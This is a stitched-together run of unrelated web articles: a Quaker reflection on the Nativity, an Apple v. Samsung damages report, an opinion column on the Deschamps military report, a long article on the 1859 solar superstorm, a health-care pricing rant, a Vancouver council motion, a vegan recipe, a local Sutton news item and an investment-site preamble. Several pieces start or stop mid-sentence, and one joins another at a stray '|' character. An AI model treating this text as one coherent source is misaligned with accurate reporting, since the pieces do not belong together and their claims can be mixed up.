and violence. Raging and sneering against a new light that he cannot comprehend, Herod is not able to let go of the belief that order is based on fear and leadership on the spilling of blood. In Herod’s own darkness and insecurity, we see more clearly ‘the light’ the little child born in Bethlehem offers. He is a ruler without earthly power, without armies or principalities, without popular majorities or a solve-all-your-problems manifesto. He only has love and the sacrifices which absolute dedication to love requires.
The Resurrection and Hope Fulfilled
But as a cynical news cycle reminds us, lots of people have high ideals, but most of the time they come to nothing. Movements for justice fizzle out, revolutions are subverted and people remain oppressed. How do we know that the grand life of love and suffering inaugurated by Jesus means anything? Isn’t it certain that in this world, the corrupt kings always win? This is where the empty tomb comes bursting into view. Early Christians continued to tell the birth story of Jesus because the ideals the Nativity narratives embodied were confirmed by their own spiritual experience. The only reason in my view that the story of the angels and the shepherds appears in the Gospel records at all are because something more concrete is coming further down the track, giving the Nativity tradition substance. What Luke and Matthew want us to understand is that the Gospel is not built on insubstantial dreams, but the lightening-bolt at the tomb, the axis point which gives the birth of Jesus’ its meaning. When the Hebrew Prophets declared that the Messiah would usher in a new age (a renewed Covenant no less) the early Church found its inauguration in the life of a man who had defeated inevitability itself. In that solitary, astonishing event, the rules of the world appeared to have suddenly changed. Paul expresses this next phase of the world as new creation where the fear of suffering and death no longer holds sure sway over living beings. As Paul relishes, ‘Where, O death, is your victory? Where, O death is your sting?” (1 Corinthians 15:55). If decay and oblivion were no longer life’s only trajectories, then the followers of Jesus had to start thinking about the world and indeed the universe in a new way. And so, they did. As the Christian Astrophysicist Arnold Benz notes in his excellent book The Future of the Universe (1997):
Good Friday/Easter became for Christians a new pattern for life, a paradigm with which they discovered the world anew. The only basic facts confronted them as they always had, and same needs plagued them, but they perceived therein a new, deeper, dimension. Even if the present is destroyed and no fortunate solution seems possible, all is not yet lost. God can create something completely new that far exceeds our boldest expectations. This also holds for one’s own life, where death must be confronted, as well as for catastrophes which affect all mankind. The expectation may not be fulfilled, at least not in the manner one wishes. For the new is no automaton, which would turn God’s free, act into a causal event. The future remains open and subject to risk. Christians nevertheless gather hope from the Good Friday experience that death will not be the last word, just as Good Friday was not the end-point it first appeared.
The Challenge of the Promise
What does this new pattern mean in our daily lives? Attempting to articulate this early Christian experience in a contemporary idiom, Benz summarises the new Resurrected reality initiated by Jesus through the following motto, “Whoever trusts in me, shares in a meaningful world, despite decay and death, even when the sun burns out, the earth spins off into space and the universe disintegrates”. Even in the inevitable suffering of the evolutionary process thinks Benz, God is there, using entropy as his method of entry into the world, pushing it towards transformation. I believe it is this cosmic promise that “all is not lost” which drags our increasingly post-Christian culture kicking and screaming back to the baby in the stable. That and the cold weather! Everyone seeks the prospect of a new beginning and a new hope at some point in their lives. The messianic child is the enduring symbol of that deep human need. Yet, having forgotten the old ways of expressing hope (through prayer, reflection, and community) secular society in its love for the Christmas card nativity has no way of accessing its religious meaning. In place, of reverence, devotion, and awe, our culture peddles an easier message of sentimentalism which expressly avoids confronting the theological vision which underlies the Christmas story. How should we as Quakers respond to this kind of avoidance? I think our big dare as Quakers should be to live per the dictum “all is not lost” in a skeptical/atheist culture which says that people don’t come back from the dead and angels never visit shepherds. I’m sure there are many Friends in our Meetings who would agree with this world-view, and herein lays the genuine challenge of the Nativity. By engaging seriously with the life of this extraordinary child, we are encouraged to re-evaluate our basic assumptions about the world (since it is hard to accept Jesus as the baby of promise without also confronting the issue of the empty tomb). Do we as Friends take the Resurrection sufficiently seriously in our Meetings and individual spiritual lives? Or in paying homage to our Christian roots, are we as Friends in fact too confined or too comfortable with our society’s philosophical assumptions about reality? Are we too eager to throw out older theological ways of thinking because agnosticism is easier to explain in a culture doubtful of God? Are we following our sense of God’s leading, or are we reticent to do so, worried by ‘what reasonable people might think? Do we really give the Christian tradition our attention when seeking spiritual clarification and advice? Or are we just content with a ‘chocolate-box nativity’ in December? This is the deep challenge embodied by the child in the stable.
AdvertisementsApple finished up its case against Samsung today after calling a financial expert to the stand today who estimated that Cupertino may have lost 2 million iPhone and iPad sales due to the alleged infringement. CPA Terry Musika began by walking the jury through a breakdown showing how many accused devices Samsung sold in the US — and how much revenue they brought in (we first saw the report last week). The report is the starting point for determining the damages Apple is requesting if it wins out in the jury's eyes.
$488.8 million in lost sales
In putting together the total, Musika looked at three different buckets: the profits Samsung made with the accused products, reasonable royalty fees for the allegedly-infringed patents, and the profits Apple itself may have lost. Using demand and the presence of other products in the marketplace as a barometer, Musika estimated that Apple lost around 2 million mobile device sales, at a cost of $488.8 million.
In calculating Samsung's alleged "unjust enrichment" — its profits for selling the accused devices — he started with the $8.16 billion in revenue generated from the devices, and after going through the company's financials estimated that Samsung made $2.241 billion in profit. Musika did take time to note the complexity of following the trail, citing inconsistencies with some of Samsung's data and the way its handles money for tax purposes as causes for the difficulty (97 out of every 100 dollars Samsung Telecommunications America makes go back to the company's parent company to avoid US taxation, he said).
Asking for damages between $2.5 and $2.7 billion
Using estimated royalty rates for the various patent and trade dress claims brought the third section of the pie to $21.24 million. All told, Musika presented a spread of between $2.5 billion and $2.75 billion in damages, depending on whether Apple's lost profits are included.
Samsung attorney Bill Price wasted no time poking holes in Musika's presentation, however, getting the witness to admit that there were an endless number of different ways the damages could be split up and calculated (Apple has paid Musika's 20-person team around $1.75 million to reach the numbers he presented today). Musika also neglected to break the numbers down into any kind of per-violation total, to give the jury an idea of what would be at stake if it were to find that Samsung had infringed just one of Apple's patents, for example.
Apple didn't have iPhone 4s to sell
With regard to lost profits, Price also raised the issue of iPhone 4 inventory; for several months after release, the device was notoriously hard to obtain, which would make calculating lost sales during that time extremely difficult simply because Apple couldn't make enough phones to meet demand in the first place.
Price's cross-examination followed up on testimony from Apple's patent-licensing head Boris Teksler earlier in the day. Teksler was asked if Apple had ever charged any licensing partner the same fees it's suggesting Samsung pay as "reasonable royalties." Teksler admitted it had not, though he specified the company doesn't usually license out the respective patents directly in the first place.
Samsung followed Apple's last witness with a standard legal maneuver: asking Judge Lucy Koh to grant a judgement as a matter of law that Apple hadn't proven its case. Samsung asked to provide a written brief on the matter, to which Koh — frustrated after a flurry of filing over the lunch break — bristled. "I never get written briefings on Rule 50," she told Samsung's legal team. "Ever."
Koh eventually allowed Samsung attorney Michael Zeller to provide a lengthy verbal explanation of its concerns, with Apple offering its own rebuttal. The judge eventually agreed with Samsung that three of the accused devices should be cut from the trial altogether, though Koh didn't grant the company the rest of its asks. Samsung is already beginning its own case, and we'll continue to bring you coverage from the courtroom.Further random observations on the Marie Deschamps report on the highly “sexualized culture” in the Canadian Forces:
Since when do Canadians look for common sense or on-the-ground truth from judges or former judges, least of all former Supreme Court of Canada judges? Seriously. The only group arguably more out of touch with real-world experiences, either because of the limits imposed by the profession but often also by inclination, than judges and high court judges in particular are members of the Canadian Senate.
Most members of both groups, judges and senators, are socially isolated, entitled and possessed of a collective astonishing arrogance. Both are accustomed to deference simply by dint of either robe or seat. Not one of the suckers has been elected.
A few readers have written to say that my experiences with soldiers, which I described Thursday in my first column on the report, weren’t real or legit because the troops knew I was a reporter, and that sexual harassment and the like are hidden and would have been hidden particularly from reporters like me.
Duh: Of course, the soldiers with whom I was either travelling or embedded knew I was a reporter, though trust me, whatever faint “celebrity” attends the print journalist wears off pretty fast.
We are in short no Mike Duffys, but scruffy practitioners, with faces for radio.
And of course, being with a regiment for a few weeks isn’t the same as being one of the regiment for life.
And of course sexual harassment and assault are hidden, as crimes of the night and the darkness of heart always are.
But what Deschamps described was a poisonous and pervasive culture so hostile to women it was outright dangerous.
That’s not the sort of thing you can just tuck under the bed when a visitor pops by: Pervasive means the poison is everywhere, and even a retrograde dolt like me would have sensed it or smelled it, and I didn’t. In fact, in some units, it was just the opposite: In some soldiers, men and women, I could actually see them struggle with the instinct to protect any unarmed civilian within 100 miles, including me.
And that’s my real point — the military, like the CBC, like the House of Commons, like newspapers and factories and radio stations and high schools, has its share of men behaving badly (and, dare I say, women behaving badly too). I don’t think anyone is in denial of that. But it’s a hell of a reach to move from that obvious observation to declaring the whole lot disreputable, worthy of contempt and requiring a big fix.
There’s an unacknowledged element of self-selection that went into those Deschamps “interviewed,” mostly in focus groups and town halls. This is certainly unacknowledged in the report itself. Nowhere does Deschamps ever admit that when you head out into the world, seeking victims, you may find victims.
It’s my observation that anyone who relies exclusively on the self-report, whether forensic psychiatrist or external reviewer like Deschamps, does so at her peril.
And my hunch is that if the former judge had gone into newsrooms across the country, seeking stories from those who had been sexually harassed and even assaulted by editors and superiors, she would have heard the same tale from the same percentage of women.
And it would mean exactly the same thing: There are bad apples everywhere, but most of those in newsrooms — and the military — aren’t bad apples, and many are actively good ones.
A female CF member who attended one of Deschamps’s panels was outraged by how the meeting was conducted and by what was said.
Deschamps’s colleague kicked off the discussion by asking what it’s like to be a woman in the CF. What followed, the woman says, was an exercise in the hypothetical, along the lines of, “Like, if guys were to get together they’d like make rude jokes about girls,” and the sweeping generalization posing as declaration of fact, such as “Sexual assault happens every day at RMC (Royal Military College).”
This woman told her superior afterwards the thing had been a farce and that the handful of women who had done most of the talking had not been telling the truth; the boss replied that the judge was a smart cookie and would figure that out.
Alas, not so much.
The real danger in the Deschamps report is that the CF, already a fragile organization and burdened with a plethora of timid managers, will grossly overreact to it, and make de-sexualizing the culture the issue of the decade.
The military in any peaceable democracy is vulnerable, none more so than the CF, which over the decades has been deliberately distanced from civilian Canada via the closing of bases and units. It would be refreshing and important if, for instance, the incoming Chief of the Defence Staff, Lieutenant-General Jon Vance, took a page from the book of the new Toronto Police Chief, Mark Saunders.
Within a week of taking office, Saunders, who is black, said he wouldn’t abolish the controversial practice of “carding,” which, when administered badly, has most affected young black Torontonians. What he said was that he’d make the practice better, train police better, and that there was no place for racism in the practice, but that carding was too valuable an investigative tool to entirely discard.
It took enormous nuts to say this, but then Saunders, who has done just about every real job on the job, has enormous nuts. The CF badly needs leadership like that, on this issue, right now.
I am not holding my breath.
National Post
• Email: cblatchford@postmedia.com | Twitter: blatchkikiAs night was falling across the Americas on Sunday, August 28, 1859, the phantom shapes of the auroras could already be seen overhead. From Maine to the tip of Florida, vivid curtains of light took the skies. Startled Cubans saw the auroras directly overhead; ships’ logs near the equator described crimson lights reaching halfway to the zenith. Many people thought their cities had caught fire. Scientific instruments around the world, patiently recording minute changes in Earth’s magnetism, suddenly shot off scale, and spurious electric currents surged into the world’s telegraph systems. In Baltimore telegraph operators labored from 8 p.m. until 10 a.m. the next day to transmit a mere 400-word press report.
Just before noon the following Thursday, September 1, English astronomer Richard C. Carrington was sketching a curious group of sunspots—curious on account of the dark areas’ enormous size. At 11:18 a.m. he witnessed an intense white light flash from two locations within the sunspot group. He called out in vain to anyone in the observatory to come see the brief five-minute spectacle, but solitary astronomers seldom have an audience to share their excitement. Seventeen hours later in the Americas a second wave of auroras turned night to day as far south as Panama. People could read the newspaper by their crimson and green light. Gold miners in the Rocky Mountains woke up and ate breakfast at 1 a.m., thinking the sun had risen on a cloudy day. Telegraph systems became unusable across Europe and North America.
The news media of the day looked for researchers able to explain the phenomena, but at the time scientists scarcely understood auroral displays at all. Were they meteoritic matter from space, reflected light from polar icebergs or a high-altitude version of lightning? It was the Great Aurora of 1859 itself that ushered in a new paradigm. The October 15 issue of Scientific American noted that ‘‘a connection between the northern lights and forces of electricity and magnetism is now fully established.” Work since then has established that auroral displays ultimately originate in violent events on the sun, which fire off huge clouds of plasma and momentarily disrupt our planet’s magnetic field.
The impact of the 1859 storm was muted only by the infancy of our technological civilization at that time. Were it to happen today, it could severely damage satellites, disable radio communications and cause continent-wide electrical blackouts that would require weeks or longer to recover from. Although a storm of that magnitude is a comfortably rare once-in-500-years event, those with half its intensity hit every 50 years or so. The last one, which occurred on November 13, 1960, led to worldwide geomagnetic disturbances and radio outages. If we make no preparations, by some calculations the direct and indirect costs of another superstorm could equal that of a major hurricane or earthquake.
The Big One
The number of sunspots, along with other signs of solar magnetic activity, waxes and wanes on an 11-year cycle. The current cycle began this past January; over the coming half a decade, solar activity will ramp up from its current lull. During the previous 11 years, 21,000 flares and 13,000 clouds of ionized gas, or plasma, exploded from the sun’s surface. These phenomena, collectively termed solar storms, arise from the relentless churning of solar gases. In some ways, they are scaled-up versions of terrestrial storms, with the important difference that magnetic fields lace the solar gases that sculpt and energize them. Flares are analogous to lightning storms; they are bursts of energetic particles and intense x-rays resulting from changes in the magnetic field on a relatively small scale by the sun’s standards, spanning thousands of kilometers. So-called coronal mass ejections (CMEs) are analogous to hurricanes; they are giant magnetic bubbles, millions of kilometers across, that hurl billion-ton plasma clouds into space at several million kilometers per hour.
Most of these storms result in nothing more than auroras dancing in the polar skies—the equivalent of a minor afternoon rainstorm on Earth. Occasionally, however, the sun lets loose a gale. No one living today has ever experienced a full-blown superstorm, but telltale signs of them have turned up in some surprising places. In ice-core data from Greenland and Antarctica, Kenneth G. McCracken of the University of Maryland has discovered sudden jumps in the concentration of trapped nitrate gases, which in recent decades appear to correlate with known blasts of solar particles. A nitrate anomaly found for 1859 stands out as the biggest of the past 500 years, with the severity roughly equivalent to the sum of all the major events of the past 40 years.
As violent as it was, the 1859 superstorm does not appear to have been qualitatively different from lesser events. The two of us, along with many other researchers, have reconstructed what happened back then from contemporary historical accounts as well as scaled-up measurements of milder storms in recent decades, which have been studied by modern satellites:
1. The gathering storm. On the sun, the preconditions for the 1859 superstorm involved the appearance of a large, near-equatorial sunspot group around the peak of the sunspot cycle. The sunspots were so large that astronomers such as Carrington could see them with the naked (but suitably protected) eye. At the time of the initial CME released by the storm, this sunspot group was opposite Earth, putting our planet squarely in the bull’s-eye. The sun’s aim need not be so exact, however. By the time a CME reaches Earth’s orbit, it typically has fanned out to a width of some 50 million kilometers, thousands of times wider than our planet.
2. First blast. The superstorm released not one but two CMEs. The first may have taken the customary 40 to 60 hours to arrive. The magnetometer data from 1859 suggest that the magnetic field in the ejected plasma probably had a helical shape. When it first hit Earth, the field was pointing north. In this orientation, the field reinforced Earth’s own magnetic field, which minimized its effects. The CME did compress Earth’s magnetosphere—the region of near-Earth space where our planet’s magnetic field dominates the sun’s—and registered at magnetometer stations on the ground as what solar scientists call a sudden storm commencement. Otherwise it went unnoticed. As plasma continued to stream past Earth, however, its field slowly spun around. After 15 hours, it opposed rather than reinforced Earth’s field, bringing our planet’s north-pointing and the plasma cloud’s south-pointing field lines into contact. The field lines then reconnected into a simpler shape, releasing huge amounts of stored energy. That is when the telegraph disruptions and auroral displays commenced. Within a day or two the plasma passed by Earth, and our planet’s geomagnetic field returned to normal.
3. X-ray flare. The largest CMEs typically coincide with one or more intense flares, and the 1859 superstorm was no exception. The visible flare observed by Carrington and others on September 1 implied temperatures of nearly 50 million kelvins. Accordingly, it probably emitted not only visible light but also x-rays and gamma rays. It was the most brilliant solar flare ever recorded, bespeaking enormous energies released into the solar atmosphere. The radiation hit Earth after the light travel time of eight and a half minutes, long before the second CME. Had shortwave radios existed, they would have been rendered useless by energy deposition in the ionosphere, the high-altitude layer of ionized gas that reflects radio waves. The x-ray energy also heated the upper atmosphere and caused it to bloat out by tens or hundreds of kilometers.
4. Second blast. Before the ambient solar-wind plasma had time to fill in the cavity formed by the passage of the first CME, the sun fired off a second CME. With little material to impede it, the CME reached Earth within 17 hours. This time the CME field pointed south as it hit, and the geomagnetic mayhem was immediate. Such was its violence that it compressed Earth’s magnetosphere (which usually extends about 60,000 kilometers) to 7,000 kilometers or perhaps even into the upper stratosphere itself. The Van Allen radiation belts that encircle our planet were temporarily eliminated, and huge numbers of protons and electrons were dumped into the upper atmosphere. These particles may have accounted for the intense red auroras seen in much of
the world.
5. Energetic protons. The solar flare and the intense CMEs also accelerated protons to energies of 30 million electron volts or higher. Across the Arctic, where Earth’s magnetic field affords the least protection, these particles penetrated to an altitude of 50 kilometers and deposited additional energy in the ionosphere. According to Brian C. Thomas of Washburn University, the proton shower from the 1859 superstorm reduced stratospheric ozone by 5 percent. The layer took four years to recover. The most powerful protons, with energies above one billion electron volts, reacted with the nuclei of nitrogen and oxygen atoms in the air, spawning neutrons and creating the nitrate abundance anomalies. A rain of neutrons reached the ground in what is now called a ground level event, but no human technology was available to detect this onslaught. Fortunately, it was not hazardous to health.
6. Massive electric currents. As the auroras spread from the usual high latitudes to low latitudes, the accompanying ionospheric and auroral electric currents induced intense, continent-spanning currents in the ground. These currents found their way into telegraph circuitry. The multiampere, high-voltage discharges caused near electrocutions and were reported to have burned down several telegraph stations.
Toasted Satellites
When a large geomagnetic storm happens again, the most obvious victims will be satellites. Even under ordinary conditions, cosmic-ray particles erode solar panels and reduce power generation by about 2 percent annually. Incoming particles also interfere with satellite electronics. Many communications satellites, such as Anik E1 and E2 in 1994 and Telstar 401 in 1997, have been compromised or lost in this way. A large solar storm can cause one to three years’ worth of satellite lifetime loss in a matter of hours and produce hundreds of glitches, ranging from errant but harmless commands to destructive electrostatic discharges.
To see how communications satellites might fare, we simulated 1,000 ways a superstorm might unfold, with intensities that varied from the worst storm of the Space Age (which occurred on October 20, 1989) to that of the 1859 superstorm. We found that the storms would not only degrade solar panels as expected but also lead to the significant loss of transponder revenue. The total cost would often exceed $20 billion. We assumed that satellite owners and designers would have mitigated the effects by maintaining plenty of spare transponder capacity and a 10 percent power margin at the time of their satellite’s launch. Under less optimistic assumptions, the losses would approach $70 billion, which is comparable to a year’s worth of revenue for all communications satellites. Even this figure does not include the collateral economic losses to the customers of the satellites.
Fortunately, geosynchronous communications satellites are remarkably robust against once-a-decade events, and their life spans have grown from barely five years in 1980 to nearly 17 years today. For solar panels, engineers have switched from silicon to gallium arsenide to increase power production and reduce mass. This move has also provided increased resistance to cosmic-ray damage. Moreover, satellite operators receive advanced storm warnings from the National Oceanic and Atmospheric Administration’s Space Weather Prediction Center, which allows them to avoid complex satellite maneuvers or other changes during the time when a storm may arrive. These strategies would doubtless soften the blow of a major storm. To further harden satellites, engineers could thicken the shielding, lower the solar panel voltages to lessen the risk of runaway electrostatic discharges, add extra backup systems and make the software more robust to data corruption.
It is harder to guard against other superstorm effects. X-ray energy deposition would cause the atmosphere to expand, enhancing the drag forces on military and commercial imaging and communications satellites that orbit below 600 kilometers in altitude. Japan’s Advanced Satellite for Cosmology and Astrophysics experienced just such conditions during the infamous Bastille Day storm on July 14, 2000, which set in motion a sequence of attitude and power losses that ultimately led to its premature reentry a few months later. During a superstorm, low-orbiting satellites would be at considerable risk of burning up in the atmosphere within weeks or months of the event.
Lights Out
At least our satellites have been specifically designed to function under the vagaries of space weather. Power grids, in contrast, are fragile at the best of times. Every year, according to estimates by Kristina Hamachi-LaCommare and Joseph H. Eto, both at Lawrence Berkeley National Laboratory, the U.S. economy takes an $80-billion hit from localized blackouts and brownouts. Declining power margins over the past decade have also left less excess capacity to keep up with soaring demands.
During solar storms, entirely new problems arise. Large transformers are electrically grounded to Earth and thus susceptible to damage caused by geomagnetically induced direct current (DC). The DC flows up the transformer ground wires and can lead to temperature spikes of 200 degrees Celsius or higher in the transformer windings, causing coolant to vaporize and literally frying the transformer. Even if transformers avoid this fate, the induced current can cause their magnetic cores to saturate during one half of the alternating-current power cycle, distorting the 50- or 60-hertz waveforms. Some of the power is diverted to frequencies that electrical equipment cannot filter out. Instead of humming at a pure pitch, transformers would begin to chatter and screech. Because a magnetic storm affects transformers all over the country, the condition can rapidly escalate to a network-wide collapse of voltage regulation. Grids operate so close to the margin of failure that it would not take much to push them over.
According to studies by John G. Kappenman of Metatech Corporation, the magnetic storm of May 15, 1921, would have caused a blackout affecting half of North America had it happened today. A much larger storm, like that of 1859, could bring down the entire grid. Other industrial countries are also vulnerable, but North America faces greater danger because of its proximity to the north magnetic pole. Because of the physical damage to transformers, full recovery and replacement of damaged components might take weeks or even months. Kappenman testified to Congress in 2003 that “the ability to provide meaningful emergency aid and response to an impacted population that may be in excess of 100 million people will be a difficult challenge.”
A superstorm will also interfere with radio signals, including those of the Global Positioning System (GPS) and related systems. Intense solar flares not only disturb the ionosphere, through which timing signals propagate, but also produce increased radio noise at GPS frequencies. The result would be position errors of 50 meters or more, rendering GPS useless for many military and civilian applications. A similar loss of precision occurred during the October 29, 2003, storm, which shut down the Wide Area Augmentation System, a radio network that improves the accuracy of GPS position estimates. Commercial aircraft had to resort to in-flight backup systems.
High-energy particles will interfere with aircraft radio communications, especially at high latitudes. United Airlines routinely monitors space weather conditions and has on several occasions diverted polar flights to lower altitudes and latitudes to escape radio interference. A superstorm might force the rerouting of hundreds of flights not just over the pole but also across Canada and the northern U.S. These adverse conditions might last a week.
Getting Ready
Ironically, society’s increasing vulnerability to solar storms has coincided with decreasing public awareness. We recently surveyed newspaper coverage of space weather events since the 1840s and discovered that a significant change occurred around 1950. Before this time, magnetic storms, solar flares and their effects often received lavish, front-page stories in newspapers. The Boston Globe carried a two-inch headline “U.S. Hit by Magnetic Storm” on March 24, 1940. Since 1950, though, such stories have been buried on inside pages.
Even fairly minor storms are costly. In 2004 Kevin Forbes of the Catholic University of America and Orville Chris St. Cyr of the NASA Goddard Space Flight Center examined the electrical power market from June 1, 2000, to December 31, 2001, and concluded that solar storms increased the wholesale price of electricity during this period by approximately $500 million. Meanwhile the U.S. Department of Defense has estimated that solar disruptions to government satellites cost about $100 million a year. Furthermore, satellite insurers paid out nearly $2 billion between 1996 and 2005 to cover commercial satellite damages and losses, some of which were precipitated by adverse space weather.
We would be well served by more reliable warnings of solar and geomagnetic storms. With adequate warning, satellite operators can defer critical maneuvering and watch for anomalies that, without quick action, could escalate into critical emergencies. Airline pilots could prepare for an orderly schedule of flight diversions. Power grid operators could watch susceptible network components and make plans to minimize the time the grid might be out of commission.
Agencies such as NASA and the National Science Foundation have worked over the past 20 years to develop space-weather forecasting capabilities. Currently NOAA’s Space Weather Prediction Center provides daily space weather reports to more than 1,000 businesses and government agencies. Its annual budget of $6 million
is far less than the nearly $500 billion in revenues generated by the industries supported by these forecasts. But this capability relies on a hodgepodge of satellites designed more for research purposes than for efficient, long-term space weather monitoring.
Some researchers feel our ability to predict space weather is about where NOAA was in predicting atmospheric weather in the early 1950s. From a monitoring perspective, what are needed are inexpensive, long-term space buoys to monitor weather conditions using simple, off-the-shelf instruments. In the meantime, scientists have a long way to go to understand the physics of solar storms and to forecast their effects. If we really want to safeguard our technological infrastructure, we will have to redouble our investment in forecasting, modeling and basic research to batten down for the next solar tempest.
Note: This article was originally printed with the title, "Bracing for a Solar Superstorm".Over the past few weeks I've been trying out a new online/by mail game rental service called Plurent. I've long lamented that the game rental industry has been in need of some serious overhauls, as previously the only options were praying the Blockbuster you drove to would have your title in stock, or having to rely on a service like Gamefly to get you a copy of a new title ahead of the millions of others in line.
Plurent studied their competitors and created a system that I've not only |
a doctor online. Do you see a price list? No, you do not. Can you comparison shop for non-emergency medical procedures quickly and easily? No, you cannot. Are you, the consumer, in any way empowered to make an intelligent purchasing decision by the amount of knowledge that you are given by the medical establishment? No, you are not.
Why not? ("Because of the Byzantine, illogical, and consumer-unfriendly nature of the private health insurance industry" is not an answer to this question. It is a description of part of the problem.)
What is so fucking hard about telling people how much a service costs? I am not asking here for a wholesale reform of our health care system into a national single-payer system like the rest of the civilized world has. (I will ask for that elsewhere, but not here.) I am simply asking doctors and hospitals and insurance companies to tell us how much shit costs. Yes, it is possible to get a cash price from a doctor, if you tell them you don't have insurance and that you need to pay cash. Yes, it is possible to get some sort of estimate from your insurance company, if you have infinite patience. Yes, it is possible to haggle and challenge certain medical billings after the fact, if you have a pugnacious determination and a tolerance for being on hold. All of these things are possible. But they are not easy. And for normal people, who have no medical expertise nor insurance expertise nor well-researched basis for knowing how much these things should cost, the very very least we can ask for, in a minimally fair system, is that we be told very clearly how much things do cost.
I am an average moron. I know nothing of the intricacies of medical care. A while back, I had to get shoulder surgery. I dutifully went to one doctor, then another, and another, and then followed his recommendations to get an MRI, and a physical, and who knows what else, and eventually surgery. I paid my deductible up front at the hospital. The surgery was fine. A couple of weeks later, I got a bill from the hospital. Then another, from an anesthesiologist. Then another, from the MRI place, and another, from another place. And here, crucially, is my point: I had no idea whether these bills were justified. I didn't even have any idea I was going to get these bills at all. When I got the services in question, I filled out the forms, gave them my insurance information, and that was it. Some weeks later, I received an inscrutable bill for hundreds of dollars for that service. Was that the right price? Was that how much these things cost? I had no idea. They didn't tell me. They didn't tell me anything. And I didn't know anything. In that situation, you can guess who got paid. (Not me.)
I am proposing this radical solution: prices. Available prices on health care. I propose that you should be able to know how much shit costs before you buy it. I propose that doctors post price lists for common ailments and procedures on their websites. I propose that doctors and hospitals tell you how much a surgery might cost you before you get the surgery. I propose that if we can't fix our fucking outrageously expensive and inefficient health care system itself, we at least make it transparent enough that people do not tremble in fear and ignorance when opening doctor's bills. I propose that if we can't have a decent system of public health care—if we are foolish enough to leave something as important as health care in the hands of the free market—then we must empower consumers to at least be able to comparison shop. The health care and insurance industries insist on defending their status as just another business? Fine. Act like a business. Price transparency is one of the things that makes the free market free. The average consumer is already at a natural disadvantage when it comes to bargaining for goods and services against the experts who actually work in an industry. One of the few tools that average consumers have at their disposal is the ability to say, "Well, that thing costs less across town." When average people who are not experts in the field are unable to get easy access to prices, we have set up a rigged game.
The average person is not an expert at ferreting out and haggling over health care prices. It is unfair to expect them to be. The onus for clear prices on health care should fall on the providers, and the insurance companies. Get together and work that shit out. Do this one little thing to protect the morons like me. We're already sick. We're about to be broke. At least let us know how broke we're going to be in advance.
[Illustration by Jim Cooke]Vancouver City Councilor Andrea Reimer wants to boost women's equality at city hall.
Reimer will put forward a motion Tuesday — International Women's Day — proposing council adopt a policy requiring city advisory committees to be made up of at least 50 per cent women.
Vancouver City Councillor Andrea Reimer wants the city to commit to appointing gender equal advisory committees. (facebook.com/CouncillorAndreaReimer)
"We have several hundred people on our advisory bodies so it's not an insignificant number of people that we would be supporting through gender equality," said Reimer.
The motion is entitled "Because it's 2016", playing off the now famous "Because it's 2015" quote made by Prime Minister Justin Trudeau when he appointed a gender equal cabinet back in November.
Reimer says council currently tries to appoint committees so that they are 50 per cent female, but feels the practice need to be made official.
"We'd really like to put that into formal policy language so that it's not surprising to anyone, that they understand this expectation." she said.
The motion also asks for an update to the city's decade-old gender equality strategy to ensure the city's social grants program distributes its funding equally to programs that serve girls and women.
Council will debate the motion sometime in April.this Vegan Edamame Egg Salad is a plant based makeover of everyone’s favorite classic sandwich stuffer, with an extra serving of protein from edamame, and flavor from colorful spices.
Vegan Edamame Egg Salad
Though my view on eggs has always been sketchy, one thing I crave now and then is an egg salad sandwich. Or just egg salad in general, actually.
Before giving up eggs altogether, I used to make Edamame Egg Salad.
Replacing the egg with tofu and adding a few more ingredients to elevate it from a basic recipe, this comes close to the original.
Jason gave it a yes vote also, hopefully for more than the large amount of pepper I added to his. If you have Kala Namak, use it here. Kala Namak – or black salt – gives that sulfur taste to food, to mimic the flavor of an egg.
Jason likes his pepper. A couple years ago I found him a pepper grinder made by the same person who makes his drum sticks. Awesome.
Most of the time I make egg salad sandwiches with my Spinach Pancakes as bread, but this time I wrapped it into corn tortillas. Edamame egg salad tacos? Try it!
Vegan Edamame Egg Salad
dairy, egg, oil, and gluten free, vegan
INGREDIENTS:
1/4 cup cashew cream
1 teaspoon rice vinegar
1 teaspoon yellow mustard
small pinch (start with 1/8 teaspoon) Kala Namak / black salt
(or 1/2 teaspoon regular sea salt)
1 teaspoon black pepper
1/2 teaspoon turmeric
1 block extra firm tofu
3/4 cup fresh or defrosted shelled edamame
3 fresh green onions, trimmed and chopped fine
INSTRUCTIONS:
Drain and press tofu.
In a medium size mixing bowl, combine cashew cream, vinegar, mustard, salt, pepper, and turmeric.
Chop tofu into small pieces (approximately 1/4 inch squares).
Fold tofu, edamame and onions into cashew cream mixture. Cover and transfer to refrigerator, allowing flavors to combine, at least one hour.
Serve in a sandwich, over salad greens or quinoa, or in a taco shell!
Really, every time I see these photos I want to eat this again, immediately.
Try AmazonFresh Free Trial for Unlimited Grocery Delivery – add these recipe ingredients to your list. use code FRESH25 for a $25 off discount on your first AmazonFresh order!
about Kristina:
Kristina is spabettie! She founded spabettie in 2010 to share vegan recipes. As the sole recipe developer and photographer, Kristina turned her culinary training into the best way to spend her days – sharing just how flavorful and vibrant vegan food is! She loves dachshunds, Portland, Hawaii, drummers – well, one drummer – and travel.
printable Vegan Edamame Egg Salad recipe:
spabettie / Kristina Sloggett is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.A riddle of a how a wooden post appeared on a grass verge outside a residents home has been solved.
Residents were baffled when a wooden post was put up on Kayemoor Road last month.
Conservative councillor for Sutton South Tony Shields said: "Needless to say nobody asked for the post and it is already proving to be a hazard to residents who have nearly damaged their cars whilst reversing off their driveways, even the man across the road now finds it hard to swing out of his drive, a mystery indeed."
However. the council have now cleared up the mystery.
A Sutton Council spokesperson said: "We took the decision to install a temporary post onto a small piece of land on Kayemoor Road.
"The reason for this was to help revitalise the growth of grass on this patch and prevent further damage to the area from cars."
TODAY'S TOP SUTTON STORIESHere's the deal : You may read the information on the site for free. As and when I have the time I'll add new articles, taking into account any questions which have been asked. For legal reasons, please do not consider it to be advice - the only free investment advice is to apply your own mind. If you want formal paid advice or want to request that an article be written, then email me. I have limited time available, and will prioritise the work accordingly, so please be patient. Email me at invest@freeinvestmentadvice.org.
16 December 2013. Before I climb into today's writeup, which I'm happy to report isn't about me harping on about shares for once, I'd like to share (enjoy the pun) a few thoughts about the next couple of weeks, the "silly season". With most people going on holiday, the last couple of weeks of December are characterised by: thin trading,
price discovery isn't reflective of wider demand and supply,
reaction to newsflow isn't as sharp as at other times of year (it simply isn't as easy to process matters on cellphone internet after a bottle of champagne),
